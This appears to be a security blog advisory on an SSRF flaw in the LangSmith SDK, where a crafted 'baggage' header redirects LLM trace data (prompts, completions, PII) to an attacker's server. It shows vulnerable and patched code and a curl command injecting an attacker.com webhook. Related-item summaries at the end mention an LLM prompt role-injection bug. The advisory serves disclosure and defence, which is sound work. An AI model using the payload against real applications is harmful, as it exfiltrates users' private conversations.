Feb 9, 2026·6 min read·105 visits
The LangSmith SDK blindly trusted the 'baggage' HTTP header, allowing attackers to define where trace data should be sent. By injecting a custom URL, an attacker can force your AI application to mirror all its internal thoughts, prompts, and PII directly to a server they control.
A Server-Side Request Forgery (SSRF) vulnerability in the LangSmith SDK (Python and JS) allows attackers to exfiltrate sensitive LLM traces, including prompts and completions, by injecting a malicious W3C 'baggage' header. The vulnerability stems from an insecure implementation of distributed tracing that accepted logging destination URLs directly from incoming HTTP headers.
In the gold rush of GenAI, 'observability' is the pickaxe everyone is buying. You can't just deploy an LLM; you need to know what it's thinking, how much it costs, and why it hallucinated that your CEO is a reptile. Enter LangSmith, the de facto standard for tracing LangChain applications.
To make this magic work across microservices, LangSmith needs to propagate context. If Service A talks to Service B, Service B needs to know they are part of the same 'run'. This is standard distributed tracing logic.
However, the developers got a little too helpful. They didn't just propagate the ID of the trace; they built a mechanism to propagate the configuration of where the trace should go. CVE-2026-25528 describes a scenario where the SDK listens to the client a bit too intently. Specifically, it allows an incoming HTTP request to say, "Hey, while you're logging this conversation to your secure dashboard, mind sending a copy to evil-hacker.com as well?" And the SDK, ever the polite servant, obliged.
The vulnerability hides in the implementation of the W3C Trace Context standard, specifically the baggage header. This header is designed to carry metadata (key-value pairs) across service boundaries. It's the backpack your HTTP request wears as it hikes through your microservices.
LangSmith introduced a custom key within this header called langsmith-replicas. The intention was legitimate: in complex distributed systems, you might want a downstream service to report its status to a specific 'replica' or secondary project.
The root cause was a classic Trust Boundary Violation. The SDK treated the baggage header—user-controlled input—as a trusted source of configuration. When parsing langsmith-replicas, the code accepted a JSON object containing an api_url and an api_key. It didn't validate if that URL belonged to LangChain or your organization. It simply added it to the list of destinations. This turned the tracing system into an open proxy for data exfiltration.
Let's look at the logic failure. In the vulnerable versions (Python SDK < 0.6.3), the RunTree.from_headers method would parse the headers and hydrate a RunTree object. It looked something like this (simplified for clarity):
# VULNERABLE LOGIC
if "baggage" in headers:
# Parse W3C baggage
baggage = parse_baggage(headers["baggage"])
# DANGER: extracting configuration directly from the header
if "langsmith-replicas" in baggage:
replicas = json.loads(baggage["langsmith-replicas"])
# The SDK now trusts these replicas, including their custom API URLs
self.extra_replicas.extend(replicas)The fix introduced in version 0.6.3 is a lesson in Input Sanitization. The maintainers introduced a strict allowlist. They essentially said, "You can pass context, but you cannot change the destination."
# FIXED LOGIC
_HEADER_SAFE_REPLICA_FIELDS = frozenset({"project_name", "updates"})
def _filter_replica_for_headers(replica):
# Explicitly filter out 'api_url' and 'api_key'
return {
k: v for k, v in replica.items()
if k in _HEADER_SAFE_REPLICA_FIELDS
}By stripping api_url and api_key from the header-derived config, the SSRF vector is neutralized. The attacker can still mess with the project_name, but they can no longer redirect the traffic off-site.
Exploiting this does not require authentication. It only requires the target application to use the LangSmith SDK and expose an endpoint that accepts headers (which is... all web apps).
Here is the attack chain:
netcat or interactsh) at https://attacker.com/webhook.baggage header.curl -X POST https://victim-chatbot.com/api/chat \
-H "Content-Type: application/json" \
-H 'baggage: langsmith-replicas=[{"api_url":"https://attacker.com/webhook","project_name":"hacked"}]' \
-d '{"message": "Hello, please summarize this confidential document..."}'The Exfiltration:
replicas config in the header.https://attacker.com/webhook.The Loot: The attacker checks their logs and sees the full JSON payload containing the user's private query and the AI's response.
The CVSS score is 5.8 (Medium), largely because the confidentiality impact is rated as 'Low' (C:L) and it requires a specific configuration (tracing enabled). Don't let that number fool you. In the context of GenAI, this is a Critical privacy breach.
Consider what goes into an LLM trace:
This vulnerability allows an attacker to wiretap your AI. It's not just metadata; it's the raw content of the conversation. If your internal HR bot is using this SDK, an attacker could trigger it and receive a transcript of your employee salary queries.
The primary fix is to upgrade the SDKs immediately. The patch does not break functionality; it simply enforces security boundaries on the baggage header.
Actionable Steps:
langsmith>=0.6.3.
pip install -U langsmithlangsmith>=0.4.6.
npm install langsmith@latestDefense in Depth: This vulnerability highlights the danger of unrestricted egress. Your AI application servers should not be able to make arbitrary HTTP requests to the internet. Implement Egress Filtering:
api.openai.com (or your LLM provider).api.smith.langchain.com.If egress filtering were in place, the SDK would have tried to connect to the attacker's URL and failed, turning a data breach into a harmless timeout error.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
LangSmith Python SDK LangChain | >= 0.4.10, < 0.6.3 | 0.6.3 |
LangSmith JS SDK LangChain | < 0.4.6 | 0.4.6 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-918 |
| Attack Vector | Network |
| CVSS Score | 5.8 (Medium) |
| Impact | Sensitive Data Exfiltration |
| Exploit Status | Poc Available |
| Vulnerable Header | W3C Baggage (langsmith-replicas) |
Server-Side Request Forgery (SSRF)
A technical analysis of CVE-2026-107397, a stored Cross-Site Scripting (XSS) vulnerability in Indico's collaborative notes editor and custom link generation fields. Prior to version 3.3.13, Marshmallow serialization schemas omitted HTML sanitization during conflict resolution, and form validators failed to enforce strict URI schemes, enabling authenticated low-privilege attackers to execute arbitrary JavaScript.
An authorization bypass vulnerability exists in the legacy session export API of Indico, an open-source event management system developed at CERN. Due to a missing object-level access check, authenticated users can bypass configuration-level restrictions to extract private session metadata (including session titles, descriptions, and list of conveners) from events that they are otherwise authorized to view.
An incomplete Server-Side Request Forgery (SSRF) validation check in Indico prior to version 3.3.13 allows authenticated event organizers to bypass outbound network restrictions. By utilizing backslash characters within crafted URLs, attackers can exploit a parser differential between the application's validator and the downstream HTTP client library to access internal network resources.
CVE-2026-107717 represents a critical prompt boundary bypass and chat role injection vulnerability in the Banks Python package (versions prior to 2.5.0). The library parses generated template outputs line-by-line, attempting to validate each segment as a JSON-serialized ChatMessage object without validating the source boundaries of the text. If an application integrates user input directly into a prompt template, a remote, unauthenticated attacker can supply multi-line inputs with structured JSON payloads. This input is then parsed as high-privilege system instructions or tool execution responses, completely hijacking downstream Large Language Model behavior.
Improper pathname limitation and link resolution (CWE-22 and CWE-59) in the banks library prior to version 2.5.1 allow local attackers to read or write arbitrary files via crafted symbolic links in the prompt directory registry.
Improper validation of dynamic class resolution within Hazelcast's Zero Config Compact Serialization allows unauthenticated clients to trigger reflective class instantiation. This flaw can be exploited to read arbitrary JVM heap or off-heap memory, crash cluster nodes, or achieve arbitrary code execution under specific classpath conditions. This issue is resolved in Hazelcast versions 5.4.5, 5.5.10, 5.6.1, and 5.7.0.